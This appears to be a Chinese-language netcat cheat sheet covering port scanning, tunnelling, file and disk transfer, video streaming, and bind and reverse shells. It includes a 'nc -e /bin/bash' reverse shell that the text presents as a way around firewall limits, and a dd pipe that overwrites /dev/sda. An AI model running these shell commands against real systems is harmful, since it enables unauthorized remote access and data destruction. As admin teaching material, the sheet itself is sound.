$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

或者

echo "" | nc -zv -wl 192.168.1.1 801-805

掃描 21 到 25 之間的端口

$ nc -zvn 192.168.1.1 21-25

掃描端口 22、3306 和 8080

$ nc -zvn 192.168.1.1 22 3306 8080

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

或者

$ nc -l 8001 | nc 127.0.0.1 8000

創(chuàng)建從一個(gè)本地端口到另一個(gè)本地端口的隧道

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 < file.txt

客戶端 Client

$ nc -nv 192.168.1.9 8000 > file.txt

假設(shè)您想將文件 file.txt 從服務(wù)器 A 傳輸?shù)娇蛻舳?B。

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 > file.txt

客戶端 Client

$ nc 192.168.1.9 8000 < file.txt

假設(shè)您想將文件 file.txt 從客戶端 B 傳輸?shù)椒?wù)器 A

服務(wù)器 Server (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

假設(shè)您想通過(guò)網(wǎng)絡(luò)將目錄從 A 傳輸?shù)?B

服務(wù)器 Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 linux PC 非常簡(jiǎn)單。假設(shè)你的系統(tǒng)盤是 /dev/sda

服務(wù)器 Server (192.168.1.9)

$ cat video.avi | nc -l 8000

客戶端 Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式傳輸視頻

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

客戶端 Client

$ nc 192.168.1.9 8000

我們已經(jīng)使用 telnet 和 ssh 使用遠(yuǎn)程 Shell，但是如果它們沒(méi)有安裝并且我們沒(méi)有安裝它們的權(quán)限，那么我們也可以使用 netcat 創(chuàng)建遠(yuǎn)程 shell

服務(wù)器 Server (192.168.1.9)

$ nc -lv 8000

客戶端 Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

反向 shell 通常用于繞過(guò)防火墻限制，例如阻止入站連接